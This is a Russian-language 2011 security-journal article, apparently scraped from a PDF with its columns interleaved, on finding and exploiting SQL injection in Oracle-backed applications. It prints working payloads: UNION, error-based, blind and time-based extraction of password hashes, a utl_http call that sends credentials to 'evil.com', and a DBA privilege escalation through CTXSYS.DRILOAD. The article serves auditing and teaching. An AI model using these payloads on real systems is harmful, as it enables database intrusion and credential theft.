Выявление и эксплуатация SQL инъекций в приложениях
←
→
Транскрипция содержимого страницы
Если ваш браузер не отображает страницу правильно, пожалуйста, читайте содержимое страницы ниже
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО Выявление и эксплуатация SQLинъекций в приложениях М. Егоров, руководитель проектов SQLинъекция – это атака, при которой злоумышленником производится НПО «Эшелон» вставка вредоносного кода в строки, передающиеся на сервер СУБД для mail@npoechelon.ru синтаксического анализа и выполнения. Успешная реализация данной атаки позволяет обойти систему безопасности приложения и получить доступ к конфиденциальной информации, которая содержится в БД, а также к функ циональным возможностям СУБД и в некоторых случаях – доступ к операци онной системе сервера, на котором функционирует СУБД. Как следствие, злоумышленник получает доступ к конфиденциальной информации, содер жащейся в БД, и доступ к командам операционной системы сервера СУБД, тем самым делая его плацдармом для последующих атак других серверов и приложений, расположенных в корпоративной сети организации. Как правило, SQLинъекции рассматривают применительно к webприложе ниям, на самом деле данным уязвимостям подвержены любые клиентсервер ные и сервисориентированные приложения, работающие с СУБД. ствие SQL-инъекций, неуклонно рас- Процесс, изображенный на рис. 1, тет с каждым годом. Многие разра- описывает взаимодействие между ботчики и специалисты в области компонентами web-приложения информационной безопасности не- и состоит из следующих шагов. дооценивают серьезность данной 1. Пользователь отправляет за- уязвимости, тем самым создавая се- прос http://localhost:8080/ рьезную угрозу для безопасности ин- catalog/show.jsp?name=Product 1 на формационных систем. К сожале- сервер приложений. В качестве нию, то, о чем обычно пишут в лите- строкового параметра name переда- ратуре по данной тематике, касается ется значение Product 1. Первые сведения о SQL-инъек- лишь наиболее простых и триви- 2. Сервер приложений динами- циях появились в открытом досту- альных примеров реализации SQL- чески формирует SQL-запрос SE- пе в статье «NT Web Technology Vul- инъекций. LECT * FROM products WHERE name nerabilities», опубликованной еще Ведущая организация в области LIKE ‘Products 1%’ ORDER BY name. в 1998 году. С 2000 года данную тех- информационной безопасности – 3. Из таблицы products извлека- нику начали широко применять ки- SANS Institute – в отчете «2010 CWE/ ются данные о товарах, наименова- бер-преступники для взлома интер- SANS Top 25 Most Dangerous Pro- ние которых начинается с Product 1, нет-сайтов. На сегодняшний день су- gramming Errors» заслуженно прису- результат упорядочивается по на- ществует большое количество техник дила SQL-инъекции второе место именованию товара. Данные переда- эксплуатации SQL-инъекций для в рейтинге наиболее критичных уяз- ются серверу приложений. различных СУБД и приложений на вимостей. 4. Сервер приложений форми- их основе. рует результат, который отобража- Несмотря на то, что данной уяз- ется пользователю. вимости более десяти лет, количес- 1. Пример из практики Если в качестве параметра пере- тво случаев, связанных с несанкци- Рассмотрим приложение, состо- дать строку Product 1’ AND 1=2 --, онированным доступом к информа- ящее из трех компонентов: пользо- то на сервер СУБД поступит SQL- ционным системам и утечкой кон- вателя, сервера приложений и сер- запрос SELECT * FROM products фиденциальной информации вслед- вера управления базами данных. WHERE name LIKE ‘Products 1’ AND 2 Защита информации. INSIDE № 2’2011
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО 1=2 --%’ ORDER BY name, причем часть %’ ORDER BY name закоментирована и не будет исполняться. Запрос не вернет ни одной строки, так как условие 1 = 2 явля- ется ложным. Процесс, изображенный на рис. 2, описывает взаимо- действие между компонентами приложения при SQL- инъекции. Приведенный выше пример показал, как пользова- тель, модифицируя передаваемый строковый параметр, Рис. 1. Нормальный процесс работы приложения заставил СУБД выполнять дополнительные команды. 2. Пять основных причин возникновения SQLинъекций Рассмотрим основные причины возникновения SQL- инъекций в приложениях, работающих с СУБД. Рис. 2. Процесс работы приложения при SQL-инъекции 2.1. Динамическое построение SQLзапросов Данный прием широко используют разработчики то запрос, передаваемый СУБД, может быть модифици- приложений. Ниже преведен пример динамического рован злоумышленником с целью получения конфиден- SQL-запроса на языке Java. циальной информации из БД. // Создание динамического запроса 2.4. Некорректная обработка типов String query = “SELECT * FROM products WHERE name LIKE ‘ ” Многие разработчики приложений полагают, что + request.getParameter(“name”) + “%’ ORDER BY name”; фильтрация одинарных кавычек (‘) спасает от SQL- инъекций. Символ одинарной кавычки (‘) обозначает Динамические SQL-запросы популярны среди раз- конец строки в SQL-запросе и отделяет данные от ис- работчиков, так как они просты и удобны в использо- полняемых команд. Фильтрацией (‘) можно защитить- вании. К сожалению, динамические SQL-запросы явля- ся от SQL-инъекций только в строковых параметрах. ются причиной SQL-инъекций. Если входные данные При этом сохраняются инъекции в параметрах дру- не достаточно проверяются и не кодируются приложе- гих типов, например в числовых. нием в момент передачи запроса СУБД на выполнение, тогда при определенных условиях они могут быть ин- // инъекция в числовом параметре терпретированы СУБД как дополнительные команды. 1 UNION SELECT 1, username, password FROM dba_users Многие СУБД поддерживают параметризованные запросы. Параметры (в СУБД Oracle они называются bind variables) передаются до момента выполнения за- 2.5. Небезопасная конфигурация СУБД проса СУБД. Параметризованные запросы позволяют Написание безопасного кода, безусловно, важная за- безопасно работать с СУБД, так как передаваемые дан- дача для разработчиков приложений. Можно сущест- ные никогда не будут интерпретированы как команды венно сократить ущерб от SQL-инъекции, правильно и выполнены. настроив параметры безопасности СУБД. В СУБД Oracle пользователи DBSNMP, OE, OUTLN 2.2. Некорректная обработка исключений создаются при установке СУБД и имеют стандартные Большинство приложений некорректно обрабатыва- пароли, а также обладают критичными с точки зрения ют исключительные ситуации, возникающие при рабо- безопасности привилегиями. Помимо учетных записей те с СУБД, и отображают сообщение о возникшем ис- со стандартными паролями в Oracle есть большое ко- ключении пользователю. В результате злоумышленник личество уязвимых PL/SQL-процедур, часть из которых сможет узнать детали реализации приложения (язык доступна для выполнения непривилегированным поль- разработки приложения, тип и версию СУБД), а также зователям. извлечь конфиденциальную информацию из БД. Еще одной серьезной проблемой является наличие избыточных привилегий у учетной записи, используя 2.3. Некорректная обработка специальных символов которую сервер приложений работает с СУБД. Как пра- В СУБД Oracle символы (‘), (.), (,), (||), (/*),(*/), (“) яв- вило, разработчики приложений не являются специа- ляются специальными. Так, символ одинарной кавыч- листами по СУБД и тем более специалистами по инфор- ки (‘) интерпретируется в SQL-запросе как начало/ко- мационной безопасности. В связи с этим они не всегда нец строки, а символ комментария (*/) обозначает ко- уделяют внимание вопросам безопасной работы при- нец комментария. ложения с СУБД и назначают учетной записи избыточ- Если приложение некорректно обрабатывает специ- ные (в некоторых случаях – максимальные) привилегии альные символы, содержащиеся во входных параметрах, (например, роль DBA). В результате успешной эксплу- Защита информации. INSIDE № 2’2011 3
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО атации SQL-инъекции злоумышленник получает до- Таким образом, количество аргументов в SQL-за- ступ ко всей конфиденциальной информации, содер- просе равно трем. На практике применяется не линей- жащейся в БД. ный, а бинарный поиск. Напомним, что время подбо- ра количества аргументов при бинарном поиске равно O(log(n)), где n – количество аргументов в запросе. 3. Техники, применяемые при эксплуатации После определения количества аргументов перебором SQLинъекций определяется для каких аргументов задан constraint NOT Рассмотрим основные способы и техники экспула- NULL и тип этих аргументов (числовой, строковый или тации SQL-инъекций, при помощи которых злоумыш- дата). В качестве остальных аргументов передается null. ленник может получить доступ к содержимому БД. Рас- сматриваемые техники являются универсальными, так возникло исключение как применимы для СУБД Oracle, MySQL и MS SQL UNION SELECT ‘test’, null, null FROM dual Server, широко используемых при создании web-при- запрос выполнен ложений, и работают вне зависимости от используемо- UNION SELECT null, ‘test’, null FROM dual го языка разработки: ASP, Java или PHP. Далее будут рассмотрены следующие техники экс- После определения количества аргументов и опре- плуатации уязвимости: деления не нулевых аргументов (NOT NULL), а также их ● Union SQL-инъекция. типов (числовой, строковый и дата), в качестве второ- ● Error-based SQL-инъекция. го параметра злоумышленник передает нужный SQL-за- ● Blind SQL-инъекция. прос, который должен возвращать строку. Для получе- ● Time-based SQL-инъекция. ния хэша пароля пользователя SYS из таблицы dba_users ● Out-bound SQL-инъекция. можно передать следующее выражение в качестве уяз- вимого строкового параметра. 3.1. Union SQLинъекция Использование данной техники основано на приме- ‘ UNION SELECT null, (SELECT username || ‘’ || password нении оператора UNION, который позволяет объеде- FROM dba_users WHERE username = ‘SYS’), null FROM dual нить результаты выполнения двух или более запросов SELECT. Использование данной техники заключается в добавлении нужного запроса SELECT при помощи 3.2. Errorbased SQLинъекция оператора UNION к первоначальному запросу. Данная техника используется, когда приложение не- Для корректности результирующего запроса, полу- корректно обрабатывает исключения, возникающие при ченного при помощи оператора UNION, необходимо, работе с СУБД, и сообщение о возникшем исключении чтобы у двух выражений SELECT совпадало количество отображается пользователю. В СУБД Oracle есть уязви- и тип аргументов. В противном случае СУБД сгенериру- мые функции, которые отображают в сообщении о воз- ет исключение. В зависимости от логики работы прило- никшем исключении часть входных параметров. К таким жения либо будет выведено сообщение о возникшем при функциям относятся XMLType() и ctxsys.drithsx.sn(). работе с СУБД исключением, либо страница отобразит- Используя данные функции, злоумышленник мо- ся пользователю некорректно. жет построчно считывать информацию из таблицы БД Первоначально злоумышлениик перебором опреде- (например, хэши паролей из таблицы dba_users). ляет количество аргументов в SQL-запросе. Универсаль- При использовании функции XMLType() SQL-инъек- ным методом определения количества аргументов яв- ция выглядит следующим образом. ляется использование оператора сортировки ORDER BY. При несовпадении количества аргументов СУБД Oracle извлечение первой строки из dba_users выдает следующее сообщение. ‘ AND (1)=UPPER(XMLType(‘’)) извлечение второй строки из dba_users Для определения количества аргументов в качестве ‘ AND (1)=UPPER(XMLType(‘’)) … запрос выполнен ‘ ORDER BY 1 При использовании функции ctxsys.drithsx.sn() SQL- запрос выполнен инъекция выглядит следующим образом. ‘ ORDER BY 2 запрос выполнен извлечение первой строки из dba_users ‘ ORDER BY 3 ‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT возникло исключение username || ’‘ || password cred, rownum FROM dba_users) ‘ ORDER BY 4 WHERE rn= 1)) 4 Защита информации. INSIDE № 2’2011
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО извлечение второй строки из dba_users Для ускорения посимвольного извлечения можно ‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT использовать бинарный поиск. username || ’‘ || password cred, rownum FROM dba_users) WHERE rn= 2)) 3.4. Timebased SQLинъекция … Данная техника похожа на Blind SQL-инъекцию. Так- же составляется SQL-выражение, но анализируется не возвращаемый результат, а время отклика сервера СУБД. 3.3. Blind SQLинъекция При ложном значении SQL-выражения время отклика В случае если нельзя использовать Union и Error- незначительно, а при истинном значеннии составляет- based SQL-инъекцию: результат выполнения запроса не ся несколько секунд. Используя данную технику можно отображается пользователю либо приложение коррект- проверять логические условия, например наличие роли но обрабатывет исключения. Однако если при этом, мо- DBA у текущего пользователя, а также посимвольно из- дифицируя запрос, можно влиять на логику работы влекать данные из таблиц БД. Time-based SQL-инъекция приложения: при определенных входных данных неко- выполняется медленне чем Blind SQL-инъекции. торые страницы отображаются неправильно или запрос Для внесения задержки обычно используется следу- возвращает только часть информации. В этом случе ющий SQL-запрос. можно использовать технику Blind SQL. Составляется SQL-выражение, которое при истин- задержка в несколько секунд ном значении не нарушает логику работы приложения. SELECT count(*) FROM all_objects, all_objects При ложном же значении возникает аномальное пове- дение в работе web-приложения: страницы неправиль- Таким образом, для посимвольного извлечения но отображаются либо возвращается только часть дан- данных из таблиц БД можно использовать следующую ных. С целью проверки логических условий в качестве инъекцию. подобного SQL-выражения можно использовать следу- ющее. извлечение первого символа Product 1‘ AND 0!=(select decode(substr(user,1,1),’A’, // INJECTION – SQLзапрос, который возвращает значение, (select count(*) from all_objects, all_objects),0) from dual) либо null Product 1‘ AND 0!=(select decode(substr(user,1,1),’B’, // null – страница некорректно отображается (select count(*) from all_objects, all_objects),0) from dual) AND NVL(INJECTION,0) != 0 Product 1‘ AND 0!=(select decode(substr(user,1,1),’C’, (select count(*) from all_objects, all_objects),0) from dual) Для того чтобы выяснить, обладает ли текущий поль- … зователь правами роли DBA, можно использовать сле- извлечение второго символа дующую инъекцию. Product 1‘ AND 0!=(select decode(substr(user,2,1),’A’, (select count(*) from all_objects, all_objects),0) from dual) если страница корректно отобразилась, пользователю Product 1‘ AND 0!=(select decode(substr(user,2,1),’B’, назначена роль DBA (select count(*) from all_objects, all_objects),0) from dual) Product 1‘ AND NVL((SELECT LENGTH(username) FROM Product 1‘ AND 0!=(select decode(substr(user,2,1),’C’, user_role_privs WHERE granted_role = ‘DBA’),0) != 0 (select count(*) from all_objects, all_objects),0) from dual) … Для посимвольного извлечения данных из таблиц БД можно использовать следующую инъекцию Как и в предыдущем случае, для ускорения посимволь- ного извлечения можно использовать бинарный поиск. извлечение первого символа Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM 3.5. Outbound SQLинъекция dual)),1,1)),0) = 65 В случае если ни одна из вышеперечисленных тех- Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM ник эксплуатации SQL-инъекций не применима мож- dual)),1,1)),0) = 66 но воспользоваться Out-bound техникой. Для примене- Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM ния данной техники необходим удаленный сервер, ко- dual)),1,1)),0) = 67 торый находится под контролем злоумышленника, … либо доступ к директории на сервере СУБД. Техника за- извлечение второго символа ключается в следующем: злоумышленник направляет Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM вывод результата SQL-запроса на удаленный сервер, ис- dual)),2,1)),0) = 65 пользуя протоколы DNS, HTTP, SMTP, или осуществ- Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM ляет запись в файл, который расположен в доступной dual)),2,1)),0) = 66 для злоумышленника директории на сервере СУБД. Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM Используя пакет utl_http злоумышленник может на- dual)),2,1)),0) = 67 править данные из таблиц БД на удаленный сервер сле- … дующим образом. Защита информации. INSIDE № 2’2011 5
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО результата выполнения запроса передается ● параметров HTTP-заголовка (таких как Referer и User- на http://evil.com Agent). ‘ AND 1=SELECT SUM(LENGTH(utl_http.request(‘http://ev После определения входных параметров необходи- il.com/’||username||””||password)) FROM dba.users мо определить корректность обработки их web-прило- жением. Модифицируя входные параметры, необходи- Функция Sum() необходима для получения всех за- мо добиться возникновения исключения в web-прило- писей из таблицы dba_users. Стоит отметить, что в не- жении, результатом которого будет сообщение о воз- которых версиях Oracle в стандартной конфигурации никшем исключении либо некорректно отображенная пакет utl_http доступен на выполнение роли PUBLIC. страница или ответ, содержащий неполные (избыточ- ные) данные. Для тестирования страницы на наличие SQL-инъекции 4. Процесс обнаружения и эксплуатации можно выполнить последовательно следующие запросы. SQLинъекций Мы рассмотрели причины возникновения SQL-инъек- страница отображается корректно ций и рассмотрели техники, которые могут быть исполь- http://localhost:8080/catalog/show.jsp?name=Product 1 зованы при эксплуатации уязвимостей. Теперь рассмо- трим весь процесс эксплуатации SQL-инъекции, начи- не выполнена сортировка данных ная с обнаружения уязвимого параметра и заканчивая из- http://localhost:8080/catalog/show.jsp?name=Product 1’ влечением требуемой информации из БД. AND 1=1 На рис. 3 представлен процесс эксплуатации SQL- инъекции, который состоит из пяти основных шагов: данные на странице не отображаются, т. к. условие ● выявления SQL-инъекции; 1 = 2 – ложно ● определения типа и версии СУБД; http://localhost:8080/catalog/show.jsp?name=Product 1’ ● определения имени пользователя и его привилегий; AND 1=2 ● повышения привилегий; ● эксплуатации уязвимости. В результате, параметр name на страницe show.jsp яв- ляется уязвимым. 4.1. Выявление SQLинъекции Для определения SQL-инъекций широко применя- Первым шагом в процессе выявления SQL-инъек- ются инструментальные средства для автоматического ции является определение способов передачи данных тестирования web-приложений на наличие уязвимос- в web-приложение: тей: HP WebInspect, HP Scrawlr, IBM Rational AppScan, ● параметров, передаваемых при помощи GET- или SQLiX, Paros Proxy. POST-методов; Инструментальные средства автоматически выпол- ● значений, содержащихся в Cookie; няют следующие проверки для передаваемых строко- вых параметров. value – строковое значение при котором исключение не возникает ‘ value’ OR value’ OR 5=5 OR ‘s’=’o value’ AND 5=5 OR ‘s’=’o value’ OR 5=0 OR ‘s’=’o value’ AND 5=0 OR ‘s’=’o Для числовых параметров выполняют следующие проверки. value – числовое значение при котором исключение не возникает 0+value value AND 5=5 value AND 5=0 value OR 5=5 OR 4=0 value OR 5=0 OR 4=0 В качестве способов передачи параметров можно за- дать GET- и POST-методы, Cookie, параметры HTTP-за- Рис. 3. Процесс эксплуатации SQL-инъекции головка. 6 Защита информации. INSIDE № 2’2011
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО 4.2. Определение типа и версии СУБД ● DBA; Без знания типа и версии СУБД невозможно эксплу- ● JAVASYSPRIV; атировать SQL-инъекцию и корректно сформировать ● IMP/EXP_FULL_DATABASE; запрос, который вернет нужную информацию из БД. ● SELECT/EXPORT/DELETE_CATALOG_ROLE. Первое, что необходимо сделать – определить ис- Данный запрос возвращает назначенные текущему пользуемую для построения web-приложения инфра- пользователю системные привилегии. структуру и технологию. Например, если применяется технология ASP .Net и IIS, то, скорее всего, в качестве извлечение назначенных системных привелегий СУБД используется Microsoft SQL Server. Конечно, пол- SELECT privilege || ‘‘ || admin_option FROM user_sys_privs ностью полагаться на данную информацию нельзя. Если web-приложение выводит сообщение о возник- Критичными с точки зрения безопасности являют- шем исключении при работе с СУБД, можно легко опре- ся следующие системные привилегии: делить тип СУБД. Сообщение об ошибке, начинающееся ● GRANT ANY OBJECT/PRIVILEGE/ROLE; со слова ORA, говорит об использовании СУБД Oracle. ● SELECT ANY DICTIONARY; ● SELECT ANY TABLE; ORA01773: may not specify column datatypes in this ● INSERT/UPDATE/DELETE ANY TABLE; CREATE TABLE ● EXECUTE ANY PROCEDURE; ● CREATE/ALTER ANY PROCEDURE; Поскольку каждая СУБД по разному обрабатывает ● CREATE LIBRARY; конкатенацию строк, по этому признаку можно судить ● CREATE ANY DIRECTORY; о типе СУБД. ● CREATE/ALTER ANY VIEW; ● CREATY ANY TRIGGER; если запрос обработан корректно, мы имеем дело с Oracle ● CREATE ANY/EXTERNAL JOB. ‘some’ || ‘thing’ Учетная запись, которая используется сервером при- CONCAT(‘some’, ‘thing’) ложений для работы с СУБД, не должна обладать указан- ными выше системными привилегиями и ролями. Ситуация с обработкой числовых значений выгля- дит аналогичным образом. 4.4. Повышение привилегий Повышение привилегий необходимо, если злоумыш- если запрос обработан корректно, мы имеем дело с Oracle ленник не обладает нужными привилегиями для эксплу- BITAND(1,1) атации SQL-инъекции и извлечения нужных данных из таблиц БД. Для определения версии СУБД необходимо извлечь Одним из способов повышения привилегий явля- баннер при помощи следующего SQL-запроса. ется эксплуатация PL/SQL-инъекций в хранимых про- цедурах СУБД. PL/SQL-инъекция – это изменение хо- извлечение баннера да выполнения PL/SQL-процедуры/функции/триггера SELECT banner FROM v$version WHERE rownum = 1 путем внедрения команд в доступные входные параме- тры. В стандартной поставке СУБД Oracle существует Данный запрос можно использовать в качестве по- большое количество пакетов и процедур (для статисти- лезной нагрузки одного из пяти методов эксплуатации ки: в СУБД Oracle 10g 16 500 процедур в 1300 пакетах), SQL-инъекции, которые были рассмотрены выше. поэтому шанс обнаружить среди них уязвимую проце- дуру достаточно высок. Часть из этих процедур доступ- 4.3. Определение имени пользователя и привилегий ны непривелегированным пользователям СУБД и вы- Определить имя текущего пользователя, назначен- полняются от имени их владельца – привелегирован- ные роли и системные привилегии можно, используя ного пользователя SYS или CTXSYS. один из пяти методов эксплуатации SQL-инъекции. Одна из наиболее известных процедур – VALI- Этот запрос возвращает имя текущего пользователя. DATE_STMT из пакета DRILOAD, который принажле- жит пользователю CTXSYS. Данная процедура прини- извлечение имени текущего пользователя мает в качестве входного параметра PL/SQL-код и пе- SELECT user FROM dual редает его на выполнение. Для повышения привилегий до DBA можно использовать следующий запрос. Данный запрос возвращает назначенные текущему пользователю роли. // повышаем привилегии до DBA EXEC CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO app’); извлечение назначенных ролей SELECT granted_role || ‘—‘ || admin_option FROM user_role_privs Таким образом, если подобная процедура доступна роли PUBLIC или у текущего пользователя есть приви- Критичными с точки зрения безопасности являют- легия EXECUTE_ANY_PROCEDURE, он сможет повы- ся следующие роли: сить свои привилегии до DBA. Защита информации. INSIDE № 2’2011 7
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО 4.5. Эксплуатация уязвимости Для извлечения имен и типов столбцов можно вос- На данном шаге у злоумышленника есть информа- пользоваться следующим запросом. ция о том, какая СУБД используется и какие техники эксплутации SQL-инъекции возможно применять. В за- SELECT owner||’.’||table_name||’:’||column_name||’:’||data_type висимости от назначенных текущему пользователю ро- FROM all_tab_columns ORDER BY table_name,column_id лей и привилегий злоумышленник может попытаться осуществить одно из следующих действий: В результате мы имеем полную структуру таблиц БД, ● извлечь хэши паролей пользователей СУБД; и можно извлекать нужную информацию. ● получить структуру БД и данные; ● выполнить команды ОС. 4.5.3. Выполнение команд ОС Для выполнения команд ОС злоумышленнику необ- 4.5.1. Извлечение хэшей паролей ходим прямой доступ к СУБД (возможность подключе- В СУБД Oracle хэши паролей храняться в таблице ния с использованием утилит SQL PLUS или TOAD for SYS.USER$, кроме того они содержатся в представлении Oracle) с максимальными правами либо требуется нали- DBA_USERS. Для расчета хэша в Oracle 10g и более ран- чие PL/SQL-инъекций. Выполнение команд ОС с исполь- них версиях используется алгоритм, основанный на DES. зованием только SQL-инъекций невозможно. В Oracle 11g применяется более защищенный алгоритм Существует достаточно способов для выполнения на основе SHA1, и хэш пароля не доступен из представ- команд ОС через СУБД, основные из них следующие: ления DBA_USERS. По умолчанию в Oracle 11g в табли- ● выполнение команд ОС, используя уязвимости пе- це SYS.USER$ доступны два варианта хэша. реполнения буфера; Для извлечения хэша пароля в Oracle 10g и более ран- ● выполнение команд ОС, используя файл SPNC_COM- них версиях можно использовать следующий запрос. MANDS; ● выполнение команд ОС, используя Java-процедуры; извлечение DESхэша в Oracle 0 AND LENGTH(password) = 16 на с правами администратора ОС – в этом случае воз- можность запускать команды ОС позволяет получить извлечение SHA1хэша в Oracle 11g административные права на сервере. SELECT username || SUBSTR(spare4,3,40) hash || SUBSTR(spare4,43,20) salt FROM sys.user$ WHERE type#>0 AND LENGTH(spare4) = 62 Заключение SQL-инъекции были и остаются наиболее критичны- Для подбора пароля по значению хэша можно вос- ми уязвимостями приложений. В результате успешной пользоваться утилитами Checkpwd, Cain & Abel, orabf, реализации SQL-инъекции злоумышленник может обой- woraauthbf и GSAuditor. ти логику работы приложения, получить доступ к конфи- денциальной информации, содержащейся в СУБД, а при 4.5.2. Получение структуры БД и данных определенных условиях даже получить полный доступ Для извлечения данных из таблицы БД необходимо к серверу, на котором функционирует СУБД. Если при обладать следующей информацией: этом учесть, что отдельные приложения интегрированы ● владельц схемы, в которой находится таблица; друг с другом внутри ИС компании, получение НСД к уяз- ● имя таблицы; вимому приложению позволит злоумышленнику полу- ● количество записей в таблице; чить контроль над всей информационной системой. ■ ● количество столбцов; ● имена и типы столбцов. ЛИТЕРАТУРА Указанную информацию можно извлечень из пред- 1. Justin C. SQL Injection Attacks and Defense. – Syngress Date, 2009. ставлений СУБД ORACLE all_tables и all_tab_columns. 2. Поляков А. М. Безопасность Oracle глазами аудитора: нападение Следующий запрос извлекает информацию о владель- и защита. – М.: ДМК Пресс, 2010. це схемы, имени таблицы, количестве записей и коли- 3. Litchfield D, Anley C., Heasman J, Grindlay B. The Database Hacker’s честве столбцов. Handbook: Defending Database Servers. – Wiley Date, 2005. 4. Евтеев Д. Учимся на ошибках. Методика проведения error-based SELECT b.owner||’.’||b.table_name||’[’||count(*)||’]=’num_rows SQL-Injection // Хакер. 2010, № 135. FROM all_tab_columns a, all_tables b WHERE a.table_name = 5. Марков А. С., Миронов С. В., Цирлов В. Л. Выявление уязвимостей b.table_name GROUP BY b.owner,b.table_name,num_rows в программном коде // Открытые системы. 2005, № 12. 8 Защита информации. INSIDE № 2’2011
Вы также можете почитать